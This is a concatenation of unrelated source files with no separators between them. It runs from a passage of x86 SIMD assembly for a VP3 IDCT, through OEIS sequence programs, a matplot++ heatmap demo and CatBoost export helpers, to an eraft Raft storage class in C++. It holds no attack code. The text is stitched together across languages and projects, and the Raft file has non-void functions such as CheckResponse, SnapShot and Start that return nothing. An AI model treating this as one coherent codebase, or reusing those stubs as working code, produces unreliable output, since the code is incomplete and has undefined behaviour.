movdqa O(5), m%6 movdqa O(6), m%7 movdqa O(7), m%8 %endmacro %macro VP3_IDCT_sse2 1 %define I(x) [%1+16*x] %define O(x) [%1+16*x] %define C(x) [vp3_idct_data+16*(x-1)] %define SHIFT(x) %define ADD(x) VP3_1D_IDCT_SSE2 %ifdef ARCH_X86_64 TRANSPOSE8x8W 0, 1, 2, 3, 4, 5, 6, 7, 8 %else TRANSPOSE8x8W 0, 1, 2, 3, 4, 5, 6, 7, [%1], [%1+16] %endif PUT_BLOCK 0, 1, 2, 3, 4, 5, 6, 7 %define SHIFT(x) psraw x, 4 %define ADD(x) paddsw x, [pw_8] VP3_1D_IDCT_SSE2 PUT_BLOCK 0, 1, 2, 3, 4, 5, 6, 7 %endmacro %macro vp3_idct_funcs 3 cglobal vp3_idct_%1, 1, 1, %2 VP3_IDCT_%1 r0 RET cglobal vp3_idct_put_%1, 3, %3, %2 VP3_IDCT_%1 r2 %ifdef ARCH_X86_64 mov r3, r2 mov r2, r1 mov r1, r0 mov r0, r3 %else mov r0m, r2 mov r1m, r0 mov r2m, r1 %endif %ifdef WIN64 call put_signed_pixels_clamped_mmx RET %else jmp put_signed_pixels_clamped_mmx %endif cglobal vp3_idct_add_%1, 3, %3, %2 VP3_IDCT_%1 r2 %ifdef ARCH_X86_64 mov r3, r2 mov r2, r1 mov r1, r0 mov r0, r3 %else mov r0m, r2 mov r1m, r0 mov r2m, r1 %endif %ifdef WIN64 call add_pixels_clamped_mmx RET %else jmp add_pixels_clamped_mmx %endif %endmacro %ifdef ARCH_X86_64 %define REGS 4 %else %define REGS 3 %endif INIT_MMX vp3_idct_funcs mmx, 0, REGS INIT_XMM vp3_idct_funcs sse2, 9, REGS %undef REGS %macro DC_ADD 0 movq m2, [r0 ] movq m3, [r0+r1 ] paddusb m2, m0 movq m4, [r0+r1*2] paddusb m3, m0 movq m5, [r0+r3 ] paddusb m4, m0 paddusb m5, m0 psubusb m2, m1 psubusb m3, m1 movq [r0 ], m2 psubusb m4, m1 movq [r0+r1 ], m3 psubusb m5, m1 movq [r0+r1*2], m4 movq [r0+r3 ], m5 %endmacro INIT_MMX cglobal vp3_idct_dc_add_mmx2, 3, 4 %ifdef ARCH_X86_64 movsxd r1, r1d %endif lea r3, [r1*3] movsx r2, word [r2] add r2, 15 sar r2, 5 movd m0, r2d pshufw m0, m0, 0x0 pxor m1, m1 psubw m1, m0 packuswb m0, m0 packuswb m1, m1 DC_ADD lea r0, [r0+r1*4] DC_ADD RET
; A225126: Central terms of the triangle in A048152. ; 0,1,4,2,7,3,10,4,13,5,16,6,19,7,22,8,25,9,28,10,31,11,34,12,37,13,40,14,43,15,46,16,49,17,52,18,55,19,58,20,61,21,64,22,67,23,70,24,73,25,76,26,79,27,82,28,85,29,88,30,91,31,94,32,97,33,100,34,103,35,106,36,109,37,112,38,115,39,118,40,121,41,124,42,127,43,130,44,133,45,136,46,139,47,142,48,145,49,148,50,151,51,154,52,157,53,160,54,163,55,166,56,169,57,172,58,175,59,178,60,181,61,184,62,187,63,190,64,193,65,196,66,199,67,202,68,205,69,208,70,211,71,214,72,217,73,220,74,223,75,226,76,229,77,232,78,235,79,238,80,241,81,244,82,247,83,250,84,253,85,256,86,259,87,262,88,265,89,268,90,271,91,274,92,277,93,280,94,283,95,286,96,289,97,292,98,295,99,298,100,301,101,304,102,307,103,310,104,313,105,316,106,319,107,322,108,325,109,328,110,331,111,334,112,337,113,340,114,343,115,346,116,349,117,352,118,355,119,358,120,361,121,364,122,367,123,370,124,373,125 mov $1,$0 mul $0,2 add $0,1 pow $1,2 mod $1,$0
#include <matplot/matplot.h> int main() { using namespace matplot; std::vector<std::vector<double>> data = { {45, 60, 32}, {43, 54, 76}, {32, 94, 68}, {23, 95, 58}}; heatmap(data); title("T-Shirt Orders"); auto ax = gca(); ax->x_axis().ticklabels({"Small", "Medium", "Large"}); ax->y_axis().ticklabels({"Green", "Red", "Blue", "Gray"}); xlabel(ax, "Sizes"); ylabel(ax, "Colors"); wait(); return 0; }
; A263687: b(n) in (sqrt(2))_n = b(n) + c(n)*sqrt(2), where (x)_n is the Pochhammer symbol, b(n) and c(n) are integers. ; Submitted by Jon Maiga ; 1,0,2,6,26,140,896,6636,55804,525168,5468008,62403880,774616696,10390122288,149757486368,2308301709840,37887797229968,659770432834688,12148923787132832,235858218326093664,4814800618608693664,103104123746671427520,2310978427407268450048,54109362053723786670784,1321029690407267007262144,33572761646829113765817600,886794278400855312356591744,24310677692469083054081814144,690766574058684921337993314176,20318298890802647293272153396992,617963575861859287230201971942912 mov $2,1 lpb $0 sub $0,1 add $3,$4 mov $4,$2 mul $2,$0 add $2,$3 mul $3,$0 add $3,$4 lpe mov $0,$2
#include "export_helpers.h" #include <util/string/builder.h> #include <util/string/cast.h> static TString FloatToStringWithSuffix(float value, bool addFloatingSuffix) { TString str = FloatToString(value, PREC_NDIGITS, 9); if (addFloatingSuffix) { if (int value; TryFromString<int>(str, value)) { str.append('.'); } str.append("f"); } return str; } namespace NCatboostModelExportHelpers { int GetBinaryFeatureCount(const TFullModel& model) { int binaryFeatureCount = 0; for (const auto& floatFeature : model.ModelTrees->GetFloatFeatures()) { if (!floatFeature.UsedInModel()) { continue; } binaryFeatureCount += floatFeature.Borders.size(); } return binaryFeatureCount; } TString OutputBorderCounts(const TFullModel& model) { return OutputArrayInitializer([&model] (size_t i) { return model.ModelTrees->GetFloatFeatures()[i].Borders.size(); }, model.ModelTrees->GetFloatFeatures().size()); } TString OutputBorders(const TFullModel& model, bool addFloatingSuffix) { TStringBuilder outString; TSequenceCommaSeparator comma(model.ModelTrees->GetFloatFeatures().size(), AddSpaceAfterComma); for (const auto& floatFeature : model.ModelTrees->GetFloatFeatures()) { if (!floatFeature.UsedInModel()) { continue; } outString << OutputArrayInitializer([&floatFeature, addFloatingSuffix] (size_t i) { return FloatToStringWithSuffix(floatFeature.Borders[i], addFloatingSuffix); }, floatFeature.Borders.size()) << comma; } return outString; } TString OutputLeafValues(const TFullModel& model, TIndent indent) { TStringBuilder outString; TSequenceCommaSeparator commaOuter(model.ModelTrees->GetTreeSizes().size()); ++indent; auto currentTreeFirstLeafPtr = model.ModelTrees->GetLeafValues().data(); for (const auto& treeSize : model.ModelTrees->GetTreeSizes()) { const auto treeLeafCount = (1uLL << treeSize) * model.ModelTrees->GetDimensionsCount(); outString << '\n' << indent; outString << OutputArrayInitializer([&currentTreeFirstLeafPtr] (size_t i) { return FloatToString(currentTreeFirstLeafPtr[i], PREC_NDIGITS, 16); }, treeLeafCount); outString << commaOuter; currentTreeFirstLeafPtr += treeLeafCount; } --indent; outString << '\n'; return outString; } }
; A158656: a(n) = 54*n^2 - 1. ; Submitted by Christian Krause ; 53,215,485,863,1349,1943,2645,3455,4373,5399,6533,7775,9125,10583,12149,13823,15605,17495,19493,21599,23813,26135,28565,31103,33749,36503,39365,42335,45413,48599,51893,55295,58805,62423,66149,69983,73925,77975,82133,86399,90773,95255,99845,104543,109349,114263,119285,124415,129653,134999,140453,146015,151685,157463,163349,169343,175445,181655,187973,194399,200933,207575,214325,221183,228149,235223,242405,249695,257093,264599,272213,279935,287765,295703,303749,311903,320165,328535,337013,345599 add $0,1 pow $0,2 mul $0,54 sub $0,1
; A168094: a(n) = number of natural numbers m such that n - 4 <= m <= n + 4. ; 4,5,6,7,8,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9 mov $1,$0 trn $0,5 sub $1,$0 add $1,4
// MIT License // Copyright (c) 2021 eraft dev group // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. #include <kv/engines.h> #include <kv/raft_server.h> #include <kv/utils.h> #include <spdlog/spdlog.h> #include <cassert> namespace kvserver { RaftStorage::RaftStorage(std::shared_ptr<Config> conf) : conf_(conf) { this->engs_ = std::make_shared<Engines>(conf->dbPath_ + "_raft", conf->dbPath_ + "_kv"); } RaftStorage::~RaftStorage() {} bool RaftStorage::CheckResponse(raft_cmdpb::RaftCmdResponse* resp, int reqCount) {} bool RaftStorage::Write(const kvrpcpb::Context& ctx, const kvrpcpb::RawPutRequest* put) { std::shared_ptr<raft_serverpb::RaftMessage> sendMsg = std::make_shared<raft_serverpb::RaftMessage>(); // send raft message sendMsg->set_data(put->SerializeAsString()); sendMsg->set_region_id(ctx.region_id()); sendMsg->set_raft_msg_type(raft_serverpb::RaftMsgClientCmd); return this->Raft(sendMsg.get()); } StorageReader* RaftStorage::Reader(const kvrpcpb::Context& ctx) { metapb::Region region; RegionReader* regionReader = new RegionReader(this->engs_, region); this->regionReader_ = regionReader; return regionReader; } bool RaftStorage::Raft(const raft_serverpb::RaftMessage* msg) { return this->raftRouter_->SendRaftMessage(msg); } bool RaftStorage::SnapShot(raft_serverpb::RaftSnapshotData* snap) {} bool RaftStorage::Start() { // raft system init this->raftSystem_ = std::make_shared<RaftStore>(this->conf_); // router init this->raftRouter_ = this->raftSystem_->raftRouter_; // raft client init std::shared_ptr<RaftClient> raftClient = std::make_shared<RaftClient>(this->conf_); this->node_ = std::make_shared<Node>(this->raftSystem_, this->conf_); // server transport init std::shared_ptr<ServerTransport> trans = std::make_shared<ServerTransport>(raftClient, raftRouter_); if (this->node_->Start(this->engs_, trans)) { SPDLOG_INFO("raft storage start succeed!"); } else { SPDLOG_INFO("raft storage start error!"); } } RegionReader::RegionReader(std::shared_ptr<Engines> engs, metapb::Region region) { this->engs_ = engs; this->region_ = region; } RegionReader::~RegionReader() {} std::string RegionReader::GetFromCF(std::string cf, std::string key) { return Assistant::GetInstance()->GetCF(this->engs_->kvDB_, cf, key); } rocksdb::Iterator* RegionReader::IterCF(std::string cf) { return Assistant::GetInstance()->NewCFIterator(this->engs_->kvDB_, cf); } void RegionReader::Close() {} } // namespace kvserver